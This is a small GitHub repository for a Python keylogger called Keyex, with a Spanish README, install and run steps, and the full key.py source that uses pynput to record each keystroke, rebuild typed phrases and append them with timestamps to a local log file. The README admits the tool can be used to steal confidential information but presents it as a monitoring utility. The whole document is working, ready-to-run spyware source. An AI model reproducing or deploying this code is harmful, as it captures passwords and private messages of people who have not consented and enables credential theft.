├── README.md ├── key.py └── requeriments.txt /README.md: -------------------------------------------------------------------------------- 1 | # Registrador De Pulsaciones De Teclas 2 | 3 | Este script es un keylogger, una herramienta que registra las pulsaciones de teclas en un sistema informático. Su principal propósito es registrar y almacenar la información de las teclas presionadas por un usuario en un archivo de registro. Esto se hace para diversos fines, como monitorear la actividad del usuario, diagnosticar problemas, o, en algunos casos, para propósitos maliciosos, como robar información confidencial. En este caso, el script registra las pulsaciones de teclas legibles y filtra combinaciones no deseadas, lo que puede ser útil en situaciones legítimas, como monitoreo de la actividad en una computadora. Sin embargo, es importante tener en cuenta que el uso de keyloggers debe cumplir con las leyes y regulaciones aplicables y respetar la privacidad de los usuarios. 4 | 5 | GIF 6 | 7 | Las mejoras en el código incluyen la adición de un filtrado más estricto de las combinaciones de teclas no deseadas que comienzan con "Key." y la reestructuración del código en una clase para una mejor organización y mantenibilidad. Esto permite un mejor control sobre las pulsaciones de teclas registradas y garantiza que solo se almacenen las pulsaciones de teclas legibles, mejorando la calidad del registro de frases. 8 | 9 | # Características principales 10 | 11 | - 📌 Se importan los módulos necesarios: pynput.keyboard, datetime y signal para capturar señales. 12 | 13 | - 📌 Se crea una clase Keylogger para encapsular la funcionalidad del keylogger y gestionar las pulsaciones de teclas. 14 | 15 | - 📌 En la función is_modifying_key, se define una lista de teclas de modificación, como Ctrl, Alt, Shift y Cmd, y se comprueba si la tecla actual es una de ellas. 16 | 17 | - 📌 En on_press, se capturan las pulsaciones de teclas. Se verifica si la tecla actual es una tecla de modificación y se descarta si lo es. Luego, se intenta obtener el carácter asociado a la tecla. Si es un carácter imprimible, se agrega a la lista current_keys. Si es un espacio, se agrega un espacio en blanco. Si es Enter, se guarda el registro en el archivo y se borra la lista current_keys. Si es Backspace, se elimina el último carácter de la lista. Se filtran todas las teclas que comienzan con "Key.". 18 | 19 | - 📌 La función save_log guarda el registro actual en el archivo de registro con una marca de tiempo. 20 | 21 | - 📌 La función start inicia el keylogger y configura un manejador de señal para capturar Ctrl+C y detener el programa de manera ordenada. 22 | 23 | - 📌 La función ctrl_c_handler se encarga de guardar el registro antes de salir del programa al presionar Ctrl+C. 24 | 25 | # Instalación 26 | 27 | Clonamos el repositorio 28 | ```bash 29 | git clone https://github.com/Yextep/Keyex 30 | ``` 31 | Accedemos a la carpeta 32 | ```bash 33 | cd Keyex 34 | ``` 35 | Instalamos requerimientos 36 | ```bash 37 | pip install -r requeriments.txt 38 | ``` 39 | Ejecutamos el Script 40 | ```bash 41 | python3 key.py 42 | ``` 43 | -------------------------------------------------------------------------------- /key.py: -------------------------------------------------------------------------------- 1 | import pynput.keyboard 2 | import datetime 3 | import signal 4 | 5 | class Keylogger: 6 | def __init__(self, log_file="registro_frases.txt"): 7 | self.log_file = log_file 8 | self.current_keys = [] 9 | 10 | def is_modifying_key(self, key): 11 | modifying_keys = [ 12 | pynput.keyboard.Key.ctrl, 13 | pynput.keyboard.Key.alt, 14 | pynput.keyboard.Key.shift, 15 | pynput.keyboard.Key.cmd, 16 | ] 17 | return key in modifying_keys 18 | 19 | def on_press(self, key): 20 | if self.is_modifying_key(key): 21 | return 22 | 23 | try: 24 | char_key = key.char 25 | if char_key is not None: 26 | self.current_keys.append(char_key) 27 | except AttributeError: 28 | if key == pynput.keyboard.Key.space: 29 | self.current_keys.append(" ") 30 | elif key == pynput.keyboard.Key.enter: 31 | self.save_log() 32 | self.current_keys.clear() 33 | elif key == pynput.keyboard.Key.backspace: 34 | if self.current_keys: 35 | self.current_keys.pop() 36 | elif str(key).startswith("Key."): 37 | pass 38 | else: 39 | self.current_keys.append(str(key)) 40 | 41 | def on_release(self, key): 42 | if key == pynput.keyboard.Key.esc: 43 | return False 44 | 45 | def save_log(self): 46 | log_text = ''.join(self.current_keys) 47 | if log_text: 48 | with open(self.log_file, "a") as file: 49 | timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") 50 | file.write(f"{timestamp}: {log_text}\n") 51 | 52 | def start(self): 53 | with pynput.keyboard.Listener(on_press=self.on_press, on_release=self.on_release) as listener: 54 | try: 55 | listener.join() 56 | except KeyboardInterrupt: 57 | self.save_log() 58 | return 59 | 60 | def ctrl_c_handler(signum, frame): 61 | keylogger.save_log() 62 | exit(0) 63 | 64 | if __name__ == "__main__": 65 | keylogger = Keylogger() 66 | 67 | # Capturar Ctrl+C para terminar la ejecución de manera ordenada 68 | signal.signal(signal.SIGINT, ctrl_c_handler) 69 | 70 | keylogger.start() 71 | -------------------------------------------------------------------------------- /requeriments.txt: -------------------------------------------------------------------------------- 1 | pynput 2 | --------------------------------------------------------------------------------